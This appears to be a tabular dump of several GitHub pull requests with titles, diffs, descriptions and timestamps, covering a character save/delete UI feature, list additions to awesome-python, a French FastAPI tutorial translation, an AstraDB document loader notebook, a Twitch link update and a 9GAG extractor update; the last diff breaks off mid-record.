title
stringlengths
2
169
diff
stringlengths
235
19.5k
body
stringlengths
0
30.5k
url
stringlengths
48
84
created_at
stringlengths
20
20
closed_at
stringlengths
20
20
merged_at
stringlengths
20
20
updated_at
stringlengths
20
20
diff_len
float64
101
3.99k
repo_name
stringclasses
83 values
__index_level_0__
int64
15
52.7k
Add "Save character" button
diff --git a/modules/chat.py b/modules/chat.py index 7a21d7be88..a63dcd4069 100644 --- a/modules/chat.py +++ b/modules/chat.py @@ -602,3 +602,43 @@ def upload_your_profile_picture(img): img = make_thumbnail(img) img.save(Path('cache/pfp_me.png')) logging.info('Profile picture saved to "cache/pfp_me.png"') + + +def delete_file(path): + if path.exists(): + logging.warning(f'Deleting {path}') + path.unlink(missing_ok=True) + + +def save_character(name, greeting, context, picture, filename, instruct=False): + if filename == "": + logging.error("The filename is empty, so the character will not be saved.") + return + + folder = 'characters' if not instruct else 'characters/instruction-following' + data = { + 'name': name, + 'greeting': greeting, + 'context': context, + } + + data = {k: v for k, v in data.items() if v} # Strip falsy + filepath = Path(f'{folder}/{filename}.yaml') + with filepath.open('w') as f: + yaml.dump(data, f) + + logging.info(f'Wrote {filepath}') + path_to_img = Path(f'{folder}/{filename}.png') + if picture and not instruct: + picture.save(path_to_img) + logging.info(f'Wrote {path_to_img}') + elif path_to_img.exists(): + delete_file(path_to_img) + + +def delete_character(name, instruct=False): + folder = 'characters' if not instruct else 'characters/instruction-following' + for extension in ["yml", "yaml", "json"]: + delete_file(Path(f'{folder}/{name}.{extension}')) + + delete_file(Path(f'{folder}/{name}.png')) diff --git a/modules/ui.py b/modules/ui.py index 1e9c4ab0cb..a3e9c2ca14 100644 --- a/modules/ui.py +++ b/modules/ui.py @@ -15,6 +15,9 @@ chat_js = f.read() refresh_symbol = '\U0001f504' # 🔄 +delete_symbol = '🗑️' +save_symbol = '💾' + theme = gr.themes.Default( font=['Helvetica', 'ui-sans-serif', 'system-ui', 'sans-serif'], font_mono=['IBM Plex Mono', 'ui-monospace', 'Consolas', 'monospace'], @@ -89,3 +92,11 @@ def refresh(): outputs=[refresh_component] ) return refresh_button + + +def create_delete_button(**kwargs): + return ToolButton(value=delete_symbol, **kwargs) + + +def create_save_button(**kwargs): + return ToolButton(value=save_symbol, **kwargs) diff --git a/server.py b/server.py index 2b8b36cd99..669b2d62c4 100644 --- a/server.py +++ b/server.py @@ -581,12 +581,20 @@ def create_interface(): shared.gradio['chat_style'] = gr.Dropdown(choices=utils.get_available_chat_styles(), label='Chat style', value=shared.settings['chat_style'], visible=shared.settings['mode'] != 'instruct') with gr.Tab('Chat settings', elem_id='chat-settings'): - with gr.Row(): - shared.gradio['character_menu'] = gr.Dropdown(choices=utils.get_available_characters(), label='Character', elem_id='character-menu', info='Used in chat and chat-instruct modes.') - ui.create_refresh_button(shared.gradio['character_menu'], lambda: None, lambda: {'choices': utils.get_available_characters()}, 'refresh-button') - with gr.Row(): with gr.Column(scale=8): + with gr.Row(): + shared.gradio['character_menu'] = gr.Dropdown(choices=utils.get_available_characters(), label='Character', elem_id='character-menu', info='Used in chat and chat-instruct modes.') + ui.create_refresh_button(shared.gradio['character_menu'], lambda: None, lambda: {'choices': utils.get_available_characters()}, 'refresh-button') + shared.gradio['save_character'] = ui.create_save_button(elem_id='refresh-button') + shared.gradio['delete_character'] = ui.create_delete_button(elem_id='refresh-button') + + shared.gradio['save_character-filename'] = gr.Textbox(lines=1, label='File name:', interactive=True, visible=False) + shared.gradio['save_character-confirm'] = gr.Button('Confirm save character', elem_classes="small-button", variant='primary', visible=False) + shared.gradio['save_character-cancel'] = gr.Button('Cancel', elem_classes="small-button", visible=False) + shared.gradio['delete_character-confirm'] = gr.Button('Confirm delete character', elem_classes="small-button", variant='stop', visible=False) + shared.gradio['delete_character-cancel'] = gr.Button('Cancel', elem_classes="small-button", visible=False) + shared.gradio['name1'] = gr.Textbox(value=shared.settings['name1'], lines=1, label='Your name') shared.gradio['name2'] = gr.Textbox(value=shared.settings['name2'], lines=1, label='Character\'s name') shared.gradio['context'] = gr.Textbox(value=shared.settings['context'], lines=4, label='Context') @@ -596,7 +604,10 @@ def create_interface(): shared.gradio['character_picture'] = gr.Image(label='Character picture', type='pil') shared.gradio['your_picture'] = gr.Image(label='Your picture', type='pil', value=Image.open(Path('cache/pfp_me.png')) if Path('cache/pfp_me.png').exists() else None) - shared.gradio['instruction_template'] = gr.Dropdown(choices=utils.get_available_instruction_templates(), label='Instruction template', value='None', info='Change this according to the model/LoRA that you are using. Used in instruct and chat-instruct modes.') + with gr.Row(): + shared.gradio['instruction_template'] = gr.Dropdown(choices=utils.get_available_instruction_templates(), label='Instruction template', value='None', info='Change this according to the model/LoRA that you are using. Used in instruct and chat-instruct modes.') + ui.create_refresh_button(shared.gradio['instruction_template'], lambda: None, lambda: {'choices': utils.get_available_instruction_templates()}, 'refresh-button') + shared.gradio['name1_instruct'] = gr.Textbox(value='', lines=2, label='User string') shared.gradio['name2_instruct'] = gr.Textbox(value='', lines=1, label='Bot string') shared.gradio['context_instruct'] = gr.Textbox(value='', lines=4, label='Context') @@ -831,7 +842,6 @@ def create_interface(): lambda x: gr.update(visible=x != 'instruct'), shared.gradio['mode'], shared.gradio['chat_style'], show_progress=False).then( chat.redraw_html, shared.reload_inputs, shared.gradio['display']) - shared.gradio['chat_style'].change(chat.redraw_html, shared.reload_inputs, shared.gradio['display']) shared.gradio['instruction_template'].change( partial(chat.load_character, instruct=True), [shared.gradio[k] for k in ['instruction_template', 'name1_instruct', 'name2_instruct']], [shared.gradio[k] for k in ['name1_instruct', 'name2_instruct', 'dummy', 'dummy', 'context_instruct', 'turn_template']]) @@ -848,6 +858,31 @@ def create_interface(): chat.save_history, shared.gradio['mode'], None, show_progress=False).then( chat.redraw_html, shared.reload_inputs, shared.gradio['display']) + # Save/delete a character + shared.gradio['save_character'].click( + lambda x: x, shared.gradio['name2'], shared.gradio['save_character-filename'], show_progress=True).then( + lambda: [gr.update(visible=True)] * 3, None, [shared.gradio[k] for k in ['save_character-filename', 'save_character-confirm', 'save_character-cancel']], show_progress=False) + + shared.gradio['save_character-cancel'].click( + lambda: [gr.update(visible=False)] * 3, None, [shared.gradio[k] for k in ['save_character-filename', 'save_character-confirm', 'save_character-cancel']], show_progress=False) + + shared.gradio['save_character-confirm'].click( + partial(chat.save_character, instruct=False), [shared.gradio[k] for k in ['name2', 'greeting', 'context', 'character_picture', 'save_character-filename']], None).then( + lambda: [gr.update(visible=False)] * 3, None, [shared.gradio[k] for k in ['save_character-filename', 'save_character-confirm', 'save_character-cancel']], show_progress=False).then( + lambda x: x, shared.gradio['save_character-filename'], shared.gradio['character_menu']) + + shared.gradio['delete_character'].click( + lambda: [gr.update(visible=True)] * 2, None, [shared.gradio[k] for k in ['delete_character-confirm', 'delete_character-cancel']], show_progress=False) + + shared.gradio['delete_character-cancel'].click( + lambda: [gr.update(visible=False)] * 2, None, [shared.gradio[k] for k in ['delete_character-confirm', 'delete_character-cancel']], show_progress=False) + + shared.gradio['delete_character-confirm'].click( + partial(chat.delete_character, instruct=False), shared.gradio['character_menu'], None).then( + lambda: gr.update(choices=utils.get_available_characters()), outputs=shared.gradio['character_menu']).then( + lambda: 'None', None, shared.gradio['character_menu']).then( + lambda: [gr.update(visible=False)] * 2, None, [shared.gradio[k] for k in ['delete_character-confirm', 'delete_character-cancel']], show_progress=False) + shared.gradio['download_button'].click(lambda x: chat.save_history(x, timestamp=True), shared.gradio['mode'], shared.gradio['download']) shared.gradio['Upload character'].click(chat.upload_character, [shared.gradio['upload_json'], shared.gradio['upload_img_bot']], [shared.gradio['character_menu']]) shared.gradio['character_menu'].change(
Added a save and delete button.
https://api.github.com/repos/oobabooga/text-generation-webui/pulls/1870
2023-05-07T03:43:50Z
2023-05-21T00:48:45Z
2023-05-21T00:48:45Z
2023-05-21T00:50:23Z
2,301
oobabooga/text-generation-webui
26,482
Add docxtpl, loguru
diff --git a/README.md b/README.md index 4510dd251..d823a6f52 100644 --- a/README.md +++ b/README.md @@ -772,6 +772,7 @@ Inspired by [awesome-php](https://github.com/ziadoz/awesome-php). * [logbook](http://logbook.readthedocs.io/en/stable/) - Logging replacement for Python. * [logging](https://docs.python.org/3/library/logging.html) - (Python standard library) Logging facility for Python. * [raven](https://github.com/getsentry/raven-python) - Python client for Sentry, a log/error tracking, crash reporting and aggregation platform for web applications. +* [loguru](https://github.com/Delgan/loguru) - Library which aims to bring enjoyable logging in Python. ## Machine Learning @@ -1016,6 +1017,7 @@ Inspired by [awesome-php](https://github.com/ziadoz/awesome-php). * [XlsxWriter](https://github.com/jmcnamara/XlsxWriter) - A Python module for creating Excel .xlsx files. * [xlwings](https://github.com/ZoomerAnalytics/xlwings) - A BSD-licensed library that makes it easy to call Python from Excel and vice versa. * [xlwt](https://github.com/python-excel/xlwt) / [xlrd](https://github.com/python-excel/xlrd) - Writing and reading data and formatting information from Excel files. + * [docxtpl](https://github.com/elapouya/python-docx-template) - Editing a docx document by jinja2 template * PDF * [PDFMiner](https://github.com/euske/pdfminer) - A tool for extracting information from PDF documents. * [PyPDF2](https://github.com/mstamy2/PyPDF2) - A library capable of splitting, merging and transforming PDF pages.
Add docxtpl Add loguru
https://api.github.com/repos/vinta/awesome-python/pulls/1453
2020-01-14T07:17:28Z
2020-07-09T05:21:41Z
2020-07-09T05:21:41Z
2020-07-09T05:21:41Z
426
vinta/awesome-python
27,334
🌐 Add French translation for `docs/fr/docs/tutorial/query-params-str-validations.md`
diff --git a/docs/fr/docs/tutorial/query-params-str-validations.md b/docs/fr/docs/tutorial/query-params-str-validations.md new file mode 100644 index 0000000000000..f5248fe8b3297 --- /dev/null +++ b/docs/fr/docs/tutorial/query-params-str-validations.md @@ -0,0 +1,305 @@ +# Paramètres de requête et validations de chaînes de caractères + +**FastAPI** vous permet de déclarer des informations et des validateurs additionnels pour vos paramètres de requêtes. + +Commençons avec cette application pour exemple : + +```Python hl_lines="9" +{!../../../docs_src/query_params_str_validations/tutorial001.py!} +``` + +Le paramètre de requête `q` a pour type `Union[str, None]` (ou `str | None` en Python 3.10), signifiant qu'il est de type `str` mais pourrait aussi être égal à `None`, et bien sûr, la valeur par défaut est `None`, donc **FastAPI** saura qu'il n'est pas requis. + +!!! note + **FastAPI** saura que la valeur de `q` n'est pas requise grâce à la valeur par défaut `= None`. + + Le `Union` dans `Union[str, None]` permettra à votre éditeur de vous offrir un meilleur support et de détecter les erreurs. + +## Validation additionnelle + +Nous allons imposer que bien que `q` soit un paramètre optionnel, dès qu'il est fourni, **sa longueur n'excède pas 50 caractères**. + +## Importer `Query` + +Pour cela, importez d'abord `Query` depuis `fastapi` : + +```Python hl_lines="3" +{!../../../docs_src/query_params_str_validations/tutorial002.py!} +``` + +## Utiliser `Query` comme valeur par défaut + +Construisez ensuite la valeur par défaut de votre paramètre avec `Query`, en choisissant 50 comme `max_length` : + +```Python hl_lines="9" +{!../../../docs_src/query_params_str_validations/tutorial002.py!} +``` + +Comme nous devons remplacer la valeur par défaut `None` dans la fonction par `Query()`, nous pouvons maintenant définir la valeur par défaut avec le paramètre `Query(default=None)`, il sert le même objectif qui est de définir cette valeur par défaut. + +Donc : + +```Python +q: Union[str, None] = Query(default=None) +``` + +... rend le paramètre optionnel, et est donc équivalent à : + +```Python +q: Union[str, None] = None +``` + +Mais déclare explicitement `q` comme étant un paramètre de requête. + +!!! info + Gardez à l'esprit que la partie la plus importante pour rendre un paramètre optionnel est : + + ```Python + = None + ``` + + ou : + + ```Python + = Query(None) + ``` + + et utilisera ce `None` pour détecter que ce paramètre de requête **n'est pas requis**. + + Le `Union[str, None]` est uniquement là pour permettre à votre éditeur un meilleur support. + +Ensuite, nous pouvons passer d'autres paramètres à `Query`. Dans cet exemple, le paramètre `max_length` qui s'applique aux chaînes de caractères : + +```Python +q: Union[str, None] = Query(default=None, max_length=50) +``` + +Cela va valider les données, montrer une erreur claire si ces dernières ne sont pas valides, et documenter le paramètre dans le schéma `OpenAPI` de cette *path operation*. + +## Rajouter plus de validation + +Vous pouvez aussi rajouter un second paramètre `min_length` : + +```Python hl_lines="9" +{!../../../docs_src/query_params_str_validations/tutorial003.py!} +``` + +## Ajouter des validations par expressions régulières + +On peut définir une <abbr title="Une expression régulière, regex ou regexp est une suite de caractères qui définit un pattern de correspondance pour les chaînes de caractères.">expression régulière</abbr> à laquelle le paramètre doit correspondre : + +```Python hl_lines="10" +{!../../../docs_src/query_params_str_validations/tutorial004.py!} +``` + +Cette expression régulière vérifie que la valeur passée comme paramètre : + +* `^` : commence avec les caractères qui suivent, avec aucun caractère avant ceux-là. +* `fixedquery` : a pour valeur exacte `fixedquery`. +* `$` : se termine directement ensuite, n'a pas d'autres caractères après `fixedquery`. + +Si vous vous sentez perdu avec le concept d'**expression régulière**, pas d'inquiétudes. Il s'agit d'une notion difficile pour beaucoup, et l'on peut déjà réussir à faire beaucoup sans jamais avoir à les manipuler. + +Mais si vous décidez d'apprendre à les utiliser, sachez qu'ensuite vous pouvez les utiliser directement dans **FastAPI**. + +## Valeurs par défaut + +De la même façon que vous pouvez passer `None` comme premier argument pour l'utiliser comme valeur par défaut, vous pouvez passer d'autres valeurs. + +Disons que vous déclarez le paramètre `q` comme ayant une longueur minimale de `3`, et une valeur par défaut étant `"fixedquery"` : + +```Python hl_lines="7" +{!../../../docs_src/query_params_str_validations/tutorial005.py!} +``` + +!!! note "Rappel" + Avoir une valeur par défaut rend le paramètre optionnel. + +## Rendre ce paramètre requis + +Quand on ne déclare ni validation, ni métadonnée, on peut rendre le paramètre `q` requis en ne lui déclarant juste aucune valeur par défaut : + +```Python +q: str +``` + +à la place de : + +```Python +q: Union[str, None] = None +``` + +Mais maintenant, on déclare `q` avec `Query`, comme ceci : + +```Python +q: Union[str, None] = Query(default=None, min_length=3) +``` + +Donc pour déclarer une valeur comme requise tout en utilisant `Query`, il faut utiliser `...` comme premier argument : + +```Python hl_lines="7" +{!../../../docs_src/query_params_str_validations/tutorial006.py!} +``` + +!!! info + Si vous n'avez jamais vu ce `...` auparavant : c'est une des constantes natives de Python <a href="https://docs.python.org/fr/3/library/constants.html#Ellipsis" class="external-link" target="_blank">appelée "Ellipsis"</a>. + +Cela indiquera à **FastAPI** que la présence de ce paramètre est obligatoire. + +## Liste de paramètres / valeurs multiples via Query + +Quand on définit un paramètre de requête explicitement avec `Query` on peut aussi déclarer qu'il reçoit une liste de valeur, ou des "valeurs multiples". + +Par exemple, pour déclarer un paramètre de requête `q` qui peut apparaître plusieurs fois dans une URL, on écrit : + +```Python hl_lines="9" +{!../../../docs_src/query_params_str_validations/tutorial011.py!} +``` + +Ce qui fait qu'avec une URL comme : + +``` +http://localhost:8000/items/?q=foo&q=bar +``` + +vous recevriez les valeurs des multiples paramètres de requête `q` (`foo` et `bar`) dans une `list` Python au sein de votre fonction de **path operation**, dans le paramètre de fonction `q`. + +Donc la réponse de cette URL serait : + +```JSON +{ + "q": [ + "foo", + "bar" + ] +} +``` + +!!! tip "Astuce" + Pour déclarer un paramètre de requête de type `list`, comme dans l'exemple ci-dessus, il faut explicitement utiliser `Query`, sinon cela sera interprété comme faisant partie du corps de la requête. + +La documentation sera donc mise à jour automatiquement pour autoriser plusieurs valeurs : + +<img src="/img/tutorial/query-params-str-validations/image02.png"> + +### Combiner liste de paramètres et valeurs par défaut + +Et l'on peut aussi définir une liste de valeurs par défaut si aucune n'est fournie : + +```Python hl_lines="9" +{!../../../docs_src/query_params_str_validations/tutorial012.py!} +``` + +Si vous allez à : + +``` +http://localhost:8000/items/ +``` + +la valeur par défaut de `q` sera : `["foo", "bar"]` + +et la réponse sera : + +```JSON +{ + "q": [ + "foo", + "bar" + ] +} +``` + +#### Utiliser `list` + +Il est aussi possible d'utiliser directement `list` plutôt que `List[str]` : + +```Python hl_lines="7" +{!../../../docs_src/query_params_str_validations/tutorial013.py!} +``` + +!!! note + Dans ce cas-là, **FastAPI** ne vérifiera pas le contenu de la liste. + + Par exemple, `List[int]` vérifiera (et documentera) que la liste est bien entièrement composée d'entiers. Alors qu'un simple `list` ne ferait pas cette vérification. + +## Déclarer des métadonnées supplémentaires + +On peut aussi ajouter plus d'informations sur le paramètre. + +Ces informations seront incluses dans le schéma `OpenAPI` généré et utilisées par la documentation interactive ou les outils externes utilisés. + +!!! note + Gardez en tête que les outils externes utilisés ne supportent pas forcément tous parfaitement OpenAPI. + + Il se peut donc que certains d'entre eux n'utilisent pas toutes les métadonnées que vous avez déclarées pour le moment, bien que dans la plupart des cas, les fonctionnalités manquantes ont prévu d'être implémentées. + +Vous pouvez ajouter un `title` : + +```Python hl_lines="10" +{!../../../docs_src/query_params_str_validations/tutorial007.py!} +``` + +Et une `description` : + +```Python hl_lines="13" +{!../../../docs_src/query_params_str_validations/tutorial008.py!} +``` + +## Alias de paramètres + +Imaginez que vous vouliez que votre paramètre se nomme `item-query`. + +Comme dans la requête : + +``` +http://127.0.0.1:8000/items/?item-query=foobaritems +``` + +Mais `item-query` n'est pas un nom de variable valide en Python. + +Le nom le plus proche serait `item_query`. + +Mais vous avez vraiment envie que ce soit exactement `item-query`... + +Pour cela vous pouvez déclarer un `alias`, et cet alias est ce qui sera utilisé pour trouver la valeur du paramètre : + +```Python hl_lines="9" +{!../../../docs_src/query_params_str_validations/tutorial009.py!} +``` + +## Déprécier des paramètres + +Disons que vous ne vouliez plus utiliser ce paramètre désormais. + +Il faut qu'il continue à exister pendant un certain temps car vos clients l'utilisent, mais vous voulez que la documentation mentionne clairement que ce paramètre est <abbr title="obsolète, recommandé de ne pas l'utiliser">déprécié</abbr>. + +On utilise alors l'argument `deprecated=True` de `Query` : + +```Python hl_lines="18" +{!../../../docs_src/query_params_str_validations/tutorial010.py!} +``` + +La documentation le présentera comme il suit : + +<img src="/img/tutorial/query-params-str-validations/image01.png"> + +## Pour résumer + +Il est possible d'ajouter des validateurs et métadonnées pour vos paramètres. + +Validateurs et métadonnées génériques: + +* `alias` +* `title` +* `description` +* `deprecated` + +Validateurs spécifiques aux chaînes de caractères : + +* `min_length` +* `max_length` +* `regex` + +Parmi ces exemples, vous avez pu voir comment déclarer des validateurs pour les chaînes de caractères. + +Dans les prochains chapitres, vous verrez comment déclarer des validateurs pour d'autres types, comme les nombres.
Hey everyone! 👋 Here is the PR to translate the **query params and string validations** page of the tutorial documentation into french. See the french translation tracking issue [here](https://github.com/tiangolo/fastapi/issues/1972). Thanks for the reviews👌
https://api.github.com/repos/tiangolo/fastapi/pulls/4075
2021-10-20T20:14:50Z
2023-07-27T18:53:22Z
2023-07-27T18:53:22Z
2023-07-27T18:53:22Z
2,983
tiangolo/fastapi
22,680
Add doc for AstraDB document loader
diff --git a/docs/docs/integrations/document_loaders/astradb.ipynb b/docs/docs/integrations/document_loaders/astradb.ipynb new file mode 100644 index 00000000000000..da8c7c40437c97 --- /dev/null +++ b/docs/docs/integrations/document_loaders/astradb.ipynb @@ -0,0 +1,185 @@ +{ + "cells": [ + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "vm8vn9t8DvC_" + }, + "source": [ + "# AstraDB" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "DataStax [Astra DB](https://docs.datastax.com/en/astra/home/astra.html) is a serverless vector-capable database built on Cassandra and made conveniently available through an easy-to-use JSON API." + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "5WjXERXzFEhg" + }, + "source": [ + "## Overview" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": { + "id": "juAmbgoWD17u" + }, + "source": [ + "The AstraDB Document Loader returns a list of Langchain Documents from an AstraDB database.\n", + "\n", + "The Loader takes the following parameters:\n", + "\n", + "* `api_endpoint`: AstraDB API endpoint. Looks like `https://01234567-89ab-cdef-0123-456789abcdef-us-east1.apps.astra.datastax.com`\n", + "* `token`: AstraDB token. Looks like `AstraCS:6gBhNmsk135....`\n", + "* `collection_name` : AstraDB collection name\n", + "* `namespace`: (Optional) AstraDB namespace\n", + "* `filter_criteria`: (Optional) Filter used in the find query\n", + "* `projection`: (Optional) Projection used in the find query\n", + "* `find_options`: (Optional) Options used in the find query\n", + "* `nb_prefetched`: (Optional) Number of documents pre-fetched by the loader\n", + "* `extraction_function`: (Optional) A function to convert the AstraDB document to the LangChain `page_content` string. Defaults to `json.dumps`\n", + "\n", + "The following metadata is set to the LangChain Documents metadata output:\n", + "\n", + "```python\n", + "{\n", + " metadata : {\n", + " \"namespace\": \"...\", \n", + " \"api_endpoint\": \"...\", \n", + " \"collection\": \"...\"\n", + " }\n", + "}\n", + "```" + ] + }, + { + "attachments": {}, + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Load documents with the Document Loader" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from langchain_community.document_loaders import AstraDBLoader" + ] + }, + { + "cell_type": "code", + "outputs": [], + "source": [ + "from getpass import getpass\n", + "\n", + "ASTRA_DB_API_ENDPOINT = input(\"ASTRA_DB_API_ENDPOINT = \")\n", + "ASTRA_DB_APPLICATION_TOKEN = getpass(\"ASTRA_DB_APPLICATION_TOKEN = \")" + ], + "metadata": { + "collapsed": false, + "ExecuteTime": { + "end_time": "2024-01-08T12:41:22.643335Z", + "start_time": "2024-01-08T12:40:57.759116Z" + } + }, + "execution_count": 4 + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": { + "ExecuteTime": { + "end_time": "2024-01-08T12:42:25.395162Z", + "start_time": "2024-01-08T12:42:25.391387Z" + } + }, + "outputs": [], + "source": [ + "loader = AstraDBLoader(\n", + " api_endpoint=ASTRA_DB_API_ENDPOINT,\n", + " token=ASTRA_DB_APPLICATION_TOKEN,\n", + " collection_name=\"movie_reviews\",\n", + " projection={\"title\": 1, \"reviewtext\": 1},\n", + " find_options={\"limit\": 10},\n", + ")" + ] + }, + { + "cell_type": "code", + "outputs": [], + "source": [ + "docs = loader.load()" + ], + "metadata": { + "collapsed": false, + "ExecuteTime": { + "end_time": "2024-01-08T12:42:30.236489Z", + "start_time": "2024-01-08T12:42:29.612133Z" + } + }, + "execution_count": 7 + }, + { + "cell_type": "code", + "execution_count": 8, + "metadata": { + "ExecuteTime": { + "end_time": "2024-01-08T12:42:31.369394Z", + "start_time": "2024-01-08T12:42:31.359003Z" + } + }, + "outputs": [ + { + "data": { + "text/plain": "Document(page_content='{\"_id\": \"659bdffa16cbc4586b11a423\", \"title\": \"Dangerous Men\", \"reviewtext\": \"\\\\\"Dangerous Men,\\\\\" the picture\\'s production notes inform, took 26 years to reach the big screen. After having seen it, I wonder: What was the rush?\"}', metadata={'namespace': 'default_keyspace', 'api_endpoint': 'https://01234567-89ab-cdef-0123-456789abcdef-us-east1.apps.astra.datastax.com', 'collection': 'movie_reviews'})" + }, + "execution_count": 8, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "docs[0]" + ] + } + ], + "metadata": { + "colab": { + "collapsed_sections": [ + "5WjXERXzFEhg" + ], + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.18" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/libs/community/langchain_community/document_loaders/__init__.py b/libs/community/langchain_community/document_loaders/__init__.py index ca295e538ebe40..bf2ac63bce1116 100644 --- a/libs/community/langchain_community/document_loaders/__init__.py +++ b/libs/community/langchain_community/document_loaders/__init__.py @@ -34,6 +34,7 @@ from langchain_community.document_loaders.assemblyai import ( AssemblyAIAudioTranscriptLoader, ) +from langchain_community.document_loaders.astradb import AstraDBLoader from langchain_community.document_loaders.async_html import AsyncHtmlLoader from langchain_community.document_loaders.azlyrics import AZLyricsLoader from langchain_community.document_loaders.azure_ai_data import ( @@ -248,6 +249,7 @@ "ArcGISLoader", "ArxivLoader", "AssemblyAIAudioTranscriptLoader", + "AstraDBLoader", "AsyncHtmlLoader", "AzureAIDataLoader", "AzureAIDocumentIntelligenceLoader", diff --git a/libs/community/tests/unit_tests/document_loaders/test_imports.py b/libs/community/tests/unit_tests/document_loaders/test_imports.py index a2101c8830d399..d730f6bfc19a33 100644 --- a/libs/community/tests/unit_tests/document_loaders/test_imports.py +++ b/libs/community/tests/unit_tests/document_loaders/test_imports.py @@ -21,6 +21,7 @@ "ArcGISLoader", "ArxivLoader", "AssemblyAIAudioTranscriptLoader", + "AstraDBLoader", "AsyncHtmlLoader", "AzureAIDataLoader", "AzureAIDocumentIntelligenceLoader",
<!-- Thank you for contributing to LangChain! Please title your PR "<package>: <description>", where <package> is whichever of langchain, community, core, experimental, etc. is being modified. Replace this entire comment with: - **Description:** a description of the change, - **Issue:** the issue # it fixes if applicable, - **Dependencies:** any dependencies required for this change, - **Twitter handle:** we announce bigger features on Twitter. If your PR gets announced, and you'd like a mention, we'll gladly shout you out! Please make sure your PR is passing linting and testing before submitting. Run `make format`, `make lint` and `make test` from the root of the package you've modified to check this locally. See contribution guidelines for more information on how to write/run tests, lint, etc: https://python.langchain.com/docs/contributing/ If you're adding a new integration, please include: 1. a test for the integration, preferably unit tests that do not rely on network access, 2. an example notebook showing its use. It lives in `docs/docs/integrations` directory. If no one reviews your PR within a few days, please @-mention one of @baskaryan, @eyurtsev, @hwchase17. --> See preview : https://langchain-git-fork-cbornet-astra-loader-doc-langchain.vercel.app/docs/integrations/document_loaders/astradb
https://api.github.com/repos/langchain-ai/langchain/pulls/15703
2024-01-08T13:34:39Z
2024-01-08T20:21:46Z
2024-01-08T20:21:46Z
2024-01-08T20:54:14Z
2,210
langchain-ai/langchain
43,723
Update Twitch url
diff --git a/README.md b/README.md index c6938bb276..3dbe768e85 100644 --- a/README.md +++ b/README.md @@ -464,7 +464,7 @@ API | Description | Auth | HTTPS | Link | | Telegram Bot | Simplified HTTP version of the MTProto API for bots | `OAuth` | Yes | [Go!](https://core.telegram.org/bots/api) | | Telegram MTProto | Read and write Telegram data | `OAuth` | Yes | [Go!](https://core.telegram.org/api#getting-started) | | Tumblr | Read and write Tumblr Data | `OAuth` | Yes | [Go!](https://www.tumblr.com/docs/en/api/v2) | -| Twitch | Game Streaming API | `OAuth` | Yes | [Go!](https://github.com/justintv/Twitch-API) | +| Twitch | Game Streaming API | `OAuth` | Yes | [Go!](https://dev.twitch.tv/docs) | | Twitter | Read and write Twitter data | `OAuth` | Yes | [Go!](https://dev.twitter.com/rest/public) | | vk | Read and write vk data | `OAuth` | Yes | [Go!](https://vk.com/dev/sites) |
Thank you for taking the time to work on a Pull Request for this project! To ensure your PR is dealt with swiftly please check the following: - [ ] Your submissions are formatted according to the guidelines in the [contributing guide](CONTRIBUTING.md). - [ ] Your changes are made in the [README](../README.md) file, not the auto-generated JSON. - [ ] Your additions are ordered alphabetically. - [ ] Your submission has a useful description. - [ ] Each table column should be padded with one space on either side. - [ ] You have searched the repository for any relevant issues or PRs. - [ ] Any category you are creating has the minimum requirement of 3 items.
https://api.github.com/repos/public-apis/public-apis/pulls/473
2017-08-26T23:07:21Z
2017-08-28T09:14:27Z
2017-08-28T09:14:27Z
2017-08-28T09:14:31Z
274
public-apis/public-apis
35,808
[extractor/ninegag] Update to 9GAG extractor
diff --git a/yt_dlp/extractor/ninegag.py b/yt_dlp/extractor/ninegag.py index 00ca95ea2e6..86e710f2b1f 100644 --- a/yt_dlp/extractor/ninegag.py +++ b/yt_dlp/extractor/ninegag.py @@ -3,7 +3,7 @@ ExtractorError, determine_ext, int_or_none, - try_get, + traverse_obj, unescapeHTML, url_or_none, ) @@ -11,18 +11,20 @@ class NineGagIE(InfoExtractor): IE_NAME = '9gag' + IE_DESC = '9GAG' _VALID_URL = r'https?://(?:www\.)?9gag\.com/gag/(?P<id>[^/?&#]+)' _TESTS = [{ 'url': 'https://9gag.com/gag/ae5Ag7B', 'info_dict': { 'id': 'ae5Ag7B', - 'ext': 'mp4', + 'ext': 'webm', 'title': 'Capybara Agility Training', 'upload_date': '20191108', 'timestamp': 1573237208, + 'thumbnail': 'https://img-9gag-fun.9cache.com/photo/ae5Ag7B_460s.jpg', 'categories': ['Awesome'], - 'tags': ['Weimaraner', 'American Pit Bull Terrier'], + 'tags': ['Awesome'], 'duration': 44, 'like_count': int, 'dislike_count': int, @@ -32,6 +34,26 @@ class NineGagIE(InfoExtractor): # HTML escaped title 'url': 'https://9gag.com/gag/av5nvyb', 'only_matching': True, + }, { + # Non Anonymous Uploader + 'url': 'https://9gag.com/gag/ajgp66G', + 'info_dict': { + 'id': 'ajgp66G', + 'ext': 'webm', + 'title': 'Master Shifu! Or Splinter! You decide:', + 'upload_date': '20220806', + 'timestamp': 1659803411, + 'thumbnail': 'https://img-9gag-fun.9cache.com/photo/ajgp66G_460s.jpg', + 'categories': ['Funny'], + 'tags': ['Funny'], + 'duration': 26, + 'like_count': int, + 'dislike_count': int, + 'comment_count': int, + 'uploader': 'Peter Klaus', + 'uploader_id': 'peterklaus12', + 'uploader_url': 'https://9gag.com/u/peterklaus12', + } }] def _real_extract(self, url): @@ -46,8 +68,6 @@ def _real_extract(self, url): 'The given url does not contain a video', expected=True) - title = unescapeHTML(post['title']) - duration = None formats = [] thumbnails = [] @@ -98,7 +118,7 @@ def _real_extract(self, url): formats.append(common) self._sort_formats(formats) - section = try_get(post, lambda x: x['postSection']['name']) + section = traverse_obj(post, ('postSection', 'name')) tags = None post_tags = post.get('tags') @@ -110,18 +130,19 @@ def _real_extract(self, url): continue tags.append(tag_key) - get_count = lambda x: int_or_none(post.get(x + 'Count')) - return { 'id': post_id, - 